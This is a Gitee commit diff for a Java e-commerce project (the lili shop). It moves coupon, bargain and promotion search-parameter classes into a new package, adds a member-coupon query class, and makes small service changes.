!94 优化代码结构

Merge pull request !94 from OceansDeep/feature/pg
This commit is contained in:
OceansDeep 2021-12-29 03:54:59 +00:00 committed by Gitee
commit 821aa74669
73 changed files with 255 additions and 173 deletions

View File

@ -7,9 +7,10 @@ import cn.lili.common.security.context.UserContext;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams;
import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams;
import cn.lili.modules.promotion.entity.enums.CouponGetEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.service.CouponService;
import cn.lili.modules.promotion.service.MemberCouponService;
@ -61,7 +62,7 @@ public class CouponBuyerController {
@ApiOperation(value = "获取当前会员的优惠券列表")
@GetMapping("/getCoupons")
public ResultMessage<IPage<MemberCoupon>> getCoupons(CouponSearchParams param, PageVO pageVo) {
public ResultMessage<IPage<MemberCoupon>> getCoupons(MemberCouponSearchParams param, PageVO pageVo) {
AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser());
param.setMemberId(currentUser.getId());
return ResultUtil.data(memberCouponService.getMemberCoupons(param, pageVo));
@ -69,7 +70,7 @@ public class CouponBuyerController {
@ApiOperation(value = "获取当前会员的对于当前商品可使用的优惠券列表")
@GetMapping("/canUse")
public ResultMessage<IPage<MemberCoupon>> getCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo) {
public ResultMessage<IPage<MemberCoupon>> getCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo) {
AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser());
param.setMemberId(currentUser.getId());
return ResultUtil.data(memberCouponService.getMemberCouponsByCanUse(param, totalPrice, pageVo));

View File

@ -7,10 +7,14 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.KanjiaActivity;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog;
import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery;
import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.kanjia.*;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO;
import cn.lili.modules.promotion.service.KanjiaActivityGoodsService;
import cn.lili.modules.promotion.service.KanjiaActivityLogService;
import cn.lili.modules.promotion.service.KanjiaActivityService;

View File

@ -5,10 +5,10 @@ import cn.lili.common.enums.ResultUtil;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PintuanMemberVO;
import cn.lili.modules.promotion.entity.vos.PintuanShareVO;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.service.PintuanService;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -5,8 +5,8 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.PointsGoods;
import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory;
import cn.lili.modules.promotion.entity.dto.search.PointsGoodsSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO;
import cn.lili.modules.promotion.service.PointsGoodsCategoryService;
import cn.lili.modules.promotion.service.PointsGoodsService;

View File

@ -14,8 +14,8 @@ import cn.lili.modules.order.order.service.OrderService;
import cn.lili.modules.promotion.entity.dos.KanjiaActivity;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.service.KanjiaActivityGoodsService;
import cn.lili.modules.promotion.service.KanjiaActivityService;
import cn.lili.modules.promotion.service.PointsGoodsService;

View File

@ -23,10 +23,10 @@ import cn.lili.modules.member.entity.dos.FootPrint;
import cn.lili.modules.member.entity.dos.MemberEvaluation;
import cn.lili.modules.member.service.FootprintService;
import cn.lili.modules.member.service.GoodsCollectionService;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.PromotionService;
import cn.lili.modules.search.entity.dos.EsGoodsIndex;

View File

@ -1,7 +1,7 @@
package cn.lili.modules.order.aftersale.entity.dto;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;

View File

@ -3,15 +3,12 @@ package cn.lili.modules.order.cart.entity.vo;
import cn.lili.modules.distribution.entity.dos.DistributionGoods;
import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.order.cart.entity.enums.CartTypeEnum;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.io.Serializable;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
@ -81,12 +78,6 @@ public class CartSkuVO extends CartBase implements Serializable {
@ApiModelProperty(value = "积分购买 积分数量")
private Long point;
@ApiModelProperty(value = "可参与的单品活动")
private List<PromotionGoods> promotions;
@ApiModelProperty(value = "参与促销活动更新时间(一天更新一次) 例如时间为2020-01-01 000001")
private Date updatePromotionTime;
@ApiModelProperty("商品促销活动集合key 为 促销活动类型value 为 促销活动实体信息 ")
private Map<String, Object> promotionMap;
@ -104,7 +95,6 @@ public class CartSkuVO extends CartBase implements Serializable {
this.checked = true;
this.invalid = false;
//默认时间为0让系统为此商品更新缓存
this.updatePromotionTime = new Date(0);
this.errorMessage = "";
this.isShip = true;
this.purchasePrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice();

View File

@ -20,10 +20,10 @@ import cn.lili.modules.order.cart.entity.vo.CartVO;
import cn.lili.modules.order.cart.render.CartRenderStep;
import cn.lili.modules.order.order.entity.dos.Order;
import cn.lili.modules.order.order.service.OrderService;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dos.PointsGoods;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;

View File

@ -2,6 +2,7 @@ package cn.lili.modules.order.cart.render.impl;
import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.security.context.UserContext;
import cn.lili.common.utils.CurrencyUtil;
import cn.lili.common.utils.StringUtils;
import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO;
@ -12,8 +13,11 @@ import cn.lili.modules.order.cart.render.CartRenderStep;
import cn.lili.modules.order.cart.render.util.PromotionPriceUtil;
import cn.lili.modules.order.order.entity.dto.PriceDetailDTO;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams;
import cn.lili.modules.promotion.entity.enums.CouponTypeEnum;
import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.MemberCouponVO;
import cn.lili.modules.promotion.service.MemberCouponService;
import org.springframework.beans.factory.annotation.Autowired;
@ -60,7 +64,11 @@ public class CouponRender implements CartRenderStep {
* @param tradeDTO 交易dto
*/
private void renderCouponRule(TradeDTO tradeDTO) {
List<MemberCoupon> memberCouponList = memberCouponService.getMemberCoupons();
MemberCouponSearchParams searchParams = new MemberCouponSearchParams();
searchParams.setMemberId(UserContext.getCurrentUser().getId());
searchParams.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name());
searchParams.setPromotionStatus(PromotionsStatusEnum.START.name());
List<MemberCoupon> memberCouponList = memberCouponService.getMemberCoupons(searchParams);
if (!memberCouponList.isEmpty()) {
this.checkMemberExistCoupon(tradeDTO, memberCouponList);

View File

@ -13,10 +13,10 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO;
import cn.lili.modules.order.cart.entity.vo.CartVO;
import cn.lili.modules.order.cart.render.CartRenderStep;
import cn.lili.modules.order.order.entity.dto.PriceDetailDTO;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum;
import cn.lili.modules.promotion.entity.vos.PromotionSkuVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO;
import cn.lili.modules.promotion.service.KanjiaActivityService;
import org.springframework.beans.factory.annotation.Autowired;

View File

@ -34,11 +34,11 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum;
import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.service.KanjiaActivityService;
import cn.lili.modules.promotion.service.MemberCouponService;
import cn.lili.modules.promotion.service.PointsGoodsService;

View File

@ -885,22 +885,6 @@ public class OrderServiceImpl extends ServiceImpl<OrderMapper, Order> implements
}
}
/**
* 检查交易信息
*
* @param order 订单
*/
private void checkOrder(Order order) {
//订单类型为拼团订单检测购买数量是否超过了限购数量
if (OrderPromotionTypeEnum.PINTUAN.name().equals(order.getOrderType())) {
Pintuan pintuan = pintuanService.getById(order.getPromotionId());
Integer limitNum = pintuan.getLimitNum();
if (limitNum != 0 && order.getGoodsNum() > limitNum) {
throw new ServiceException(ResultCode.PINTUAN_LIMIT_NUM_ERROR);
}
}
}
/**
* 普通商品订单确认
* 修改订单状态为待发货

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.dto;
package cn.lili.modules.promotion.entity.dos;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;

View File

@ -1,6 +1,5 @@
package cn.lili.modules.promotion.entity.dos;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.CouponVO;

View File

@ -1,6 +1,5 @@
package cn.lili.modules.promotion.entity.dos;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.enums.CouponActivitySendTypeEnum;
import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum;
import com.baomidou.mybatisplus.annotation.TableName;

View File

@ -1,6 +1,5 @@
package cn.lili.modules.promotion.entity.dos;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import com.baomidou.mybatisplus.annotation.TableName;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;

View File

@ -1,6 +1,5 @@
package cn.lili.modules.promotion.entity.dos;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import com.baomidou.mybatisplus.annotation.TableName;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;

View File

@ -1,6 +1,5 @@
package cn.lili.modules.promotion.entity.dos;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import com.baomidou.mybatisplus.annotation.TableName;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;

View File

@ -1,6 +1,5 @@
package cn.lili.modules.promotion.entity.dos;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import com.baomidou.mybatisplus.annotation.TableName;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;

View File

@ -3,7 +3,6 @@ package cn.lili.modules.promotion.entity.dos;
import cn.hutool.core.date.DateField;
import cn.hutool.core.date.DateTime;
import cn.hutool.core.date.DateUtil;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.vos.SeckillVO;
import cn.lili.modules.promotion.tools.PromotionTools;
import com.baomidou.mybatisplus.annotation.TableName;

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.vos;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.vos;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.modules.promotion.entity.enums.*;
@ -56,11 +56,6 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se
*/
@ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送")
private String getType;
/**
* @see MemberCouponStatusEnum
*/
@ApiModelProperty(value = "会员优惠券状态")
private String memberCouponStatus;
@Override
@ -84,9 +79,6 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se
if (CharSequenceUtil.isNotEmpty(getType)) {
queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name());
}
if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) {
queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name());
}
if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) {
switch (PromotionsStatusEnum.valueOf(this.getPromotionStatus())) {
case NEW:

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.vos;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.dto;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;

View File

@ -1,10 +1,9 @@
package cn.lili.modules.promotion.entity.vos.kanjia;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.common.security.context.UserContext;
import cn.lili.common.security.enums.UserEnums;
import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.dto;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
@ -6,8 +6,6 @@ import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;
import java.util.Date;
/**
* 砍价活动参与实体类

View File

@ -1,7 +1,6 @@
package cn.lili.modules.promotion.entity.vos.kanjia;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.util.StrUtil;
import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;

View File

@ -0,0 +1,104 @@
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.modules.promotion.entity.enums.*;
import cn.lili.modules.promotion.tools.PromotionTools;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;
import lombok.EqualsAndHashCode;
import java.io.Serializable;
import java.util.Date;
/**
* 会员优惠券查询通用类
*
* @author paulG
* @since 2020/8/14
**/
@EqualsAndHashCode(callSuper = true)
@Data
public class MemberCouponSearchParams extends BasePromotionsSearchParams implements Serializable {
private static final long serialVersionUID = 4566880169478260409L;
private static final String PRICE_COLUMN = "price";
@ApiModelProperty(value = "会员id")
private String memberId;
/**
* POINT("打折"), PRICE("减免现金");
*
* @see CouponTypeEnum
*/
@ApiModelProperty(value = "活动类型")
private String couponType;
/**
* @see PromotionsScopeTypeEnum
*/
@ApiModelProperty(value = "关联范围类型")
private String scopeType;
@ApiModelProperty(value = "范围关联的id")
private String scopeId;
@ApiModelProperty(value = "面额,可以为范围如10_1000")
private String price;
/**
* @see CouponGetEnum
*/
@ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送")
private String getType;
/**
* @see MemberCouponStatusEnum
*/
@ApiModelProperty(value = "会员优惠券状态")
private String memberCouponStatus;
@ApiModelProperty(value = "消费门槛")
private Double consumeThreshold;
@Override
public <T> QueryWrapper<T> queryWrapper() {
QueryWrapper<T> queryWrapper = super.queryWrapper();
if (CharSequenceUtil.isNotEmpty(couponType)) {
queryWrapper.eq("coupon_type", CouponTypeEnum.valueOf(couponType).name());
}
if (memberId != null) {
queryWrapper.eq("member_id", memberId);
}
if (CharSequenceUtil.isNotEmpty(scopeId)) {
queryWrapper.eq("scope_id", scopeId);
}
if (CharSequenceUtil.isNotEmpty(scopeType)) {
queryWrapper.eq("scope_type", PromotionsScopeTypeEnum.valueOf(scopeType).name());
}
if (CharSequenceUtil.isNotEmpty(getType)) {
queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name());
}
if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) {
queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name());
}
if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) {
queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(getPromotionStatus())));
}
if (CharSequenceUtil.isNotEmpty(price)) {
String[] s = price.split("_");
if (s.length > 1) {
queryWrapper.ge(PRICE_COLUMN, s[1]);
} else {
queryWrapper.le(PRICE_COLUMN, s[0]);
}
}
if (this.getStartTime() != null) {
queryWrapper.ge("start_time", new Date(this.getEndTime()));
}
if (this.getEndTime() != null) {
queryWrapper.le("end_time", new Date(this.getEndTime()));
}
queryWrapper.eq("delete_flag", false);
queryWrapper.orderByDesc("create_time");
return queryWrapper;
}
}

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.vos;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.vos;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.vos;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;

View File

@ -1,4 +1,4 @@
package cn.lili.modules.promotion.entity.vos;
package cn.lili.modules.promotion.entity.dto.search;
import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum;

View File

@ -2,8 +2,8 @@ package cn.lili.modules.promotion.service;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dto.search.BasePromotionsSearchParams;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.IService;
@ -110,8 +110,9 @@ public interface AbstractPromotionsService<T extends BasePromotions> extends ISe
* 更新促销商品信息
*
* @param promotions 促销实体
* @return
*/
void updatePromotionsGoods(T promotions);
boolean updatePromotionsGoods(T promotions);
/**
* 更新促销信息到商品索引

View File

@ -2,7 +2,7 @@ package cn.lili.modules.promotion.service;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -5,8 +5,8 @@ import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -4,7 +4,7 @@ package cn.lili.modules.promotion.service;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO;
import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery;
import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.IService;

View File

@ -4,8 +4,8 @@ package cn.lili.modules.promotion.service;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.KanjiaActivity;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.IService;

View File

@ -2,8 +2,8 @@ package cn.lili.modules.promotion.service;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams;
import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.IService;
@ -50,24 +50,26 @@ public interface MemberCouponService extends IService<MemberCoupon> {
* @param pageVo 分页参数
* @return 会员优惠券列表
*/
IPage<MemberCoupon> getMemberCoupons(CouponSearchParams param, PageVO pageVo);
IPage<MemberCoupon> getMemberCoupons(MemberCouponSearchParams param, PageVO pageVo);
/**
* 获取会员所有优惠券
* 获取会员优惠券列表
*
* @param pageVo 分页参数
* @param param 查询参数
* @return 会员优惠券列表
*/
List<MemberCoupon> getMemberCoupons();
List<MemberCoupon> getMemberCoupons(MemberCouponSearchParams param);
/**
* 获取会员优惠券列表
*
* @param param 查询参数
* @param pageVo 分页参数
* @param totalPrice 当前商品总价
* @param pageVo 分页参数
* @return 会员优惠券列表
*/
IPage<MemberCoupon> getMemberCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo);
IPage<MemberCoupon> getMemberCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo);
/**
* 获取当前会员当前商品可用的会员优惠券

View File

@ -4,7 +4,7 @@ import cn.lili.cache.CachePrefix;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.IService;

View File

@ -2,9 +2,9 @@ package cn.lili.modules.promotion.service;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.SeckillApply;
import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams;
import cn.lili.modules.promotion.entity.vos.SeckillApplyVO;
import cn.lili.modules.promotion.entity.vos.SeckillGoodsVO;
import cn.lili.modules.promotion.entity.vos.SeckillSearchParams;
import cn.lili.modules.promotion.entity.vos.SeckillTimelineVO;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.IService;

View File

@ -6,10 +6,10 @@ import cn.lili.common.enums.ResultCode;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.properties.RocketmqCustomProperties;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.dto.search.BasePromotionsSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams;
import cn.lili.modules.promotion.service.AbstractPromotionsService;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.tools.PromotionTools;
@ -31,6 +31,7 @@ import java.util.*;
* @author paulG
* @since 2021/11/30
**/
@Transactional(rollbackFor = Exception.class)
public abstract class AbstractPromotionsServiceImpl<M extends BaseMapper<T>, T extends BasePromotions> extends ServiceImpl<M, T> implements AbstractPromotionsService<T> {
/**
@ -69,8 +70,9 @@ public abstract class AbstractPromotionsServiceImpl<M extends BaseMapper<T>, T e
this.initPromotion(promotions);
this.checkPromotions(promotions);
boolean save = this.save(promotions);
this.updatePromotionsGoods(promotions);
this.updateEsGoodsIndex(promotions);
if (this.updatePromotionsGoods(promotions)) {
this.updateEsGoodsIndex(promotions);
}
return save;
}
@ -92,8 +94,9 @@ public abstract class AbstractPromotionsServiceImpl<M extends BaseMapper<T>, T e
this.checkStatus(promotions);
this.checkPromotions(promotions);
boolean save = this.saveOrUpdate(promotions);
this.updatePromotionsGoods(promotions);
this.updateEsGoodsIndex(promotions);
if (this.updatePromotionsGoods(promotions)) {
this.updateEsGoodsIndex(promotions);
}
return save;
}
@ -212,14 +215,16 @@ public abstract class AbstractPromotionsServiceImpl<M extends BaseMapper<T>, T e
* 更新促销商品信息
*
* @param promotions 促销实体
* @return
*/
@Override
@Transactional(rollbackFor = {Exception.class})
public void updatePromotionsGoods(T promotions) {
public boolean updatePromotionsGoods(T promotions) {
if (promotions.getStartTime() == null && promotions.getEndTime() == null) {
this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId()));
return;
return true;
}
boolean result = false;
if (CharSequenceUtil.equalsAny(promotions.getScopeType(), PromotionsScopeTypeEnum.ALL.name(), PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) {
PromotionGoods promotionGoods = new PromotionGoods();
promotionGoods.setScopeId(promotions.getScopeId());
@ -232,8 +237,9 @@ public abstract class AbstractPromotionsServiceImpl<M extends BaseMapper<T>, T e
promotionGoods.setPromotionType(this.getPromotionType().name());
promotionGoods.setTitle(promotions.getPromotionName());
this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId()));
this.promotionGoodsService.save(promotionGoods);
result = this.promotionGoodsService.save(promotionGoods);
}
return result;
}
/**

View File

@ -137,10 +137,11 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl<Cou
* 更新优惠券活动商品信息
*
* @param couponActivity 优惠券活动实体
* @return
*/
@Override
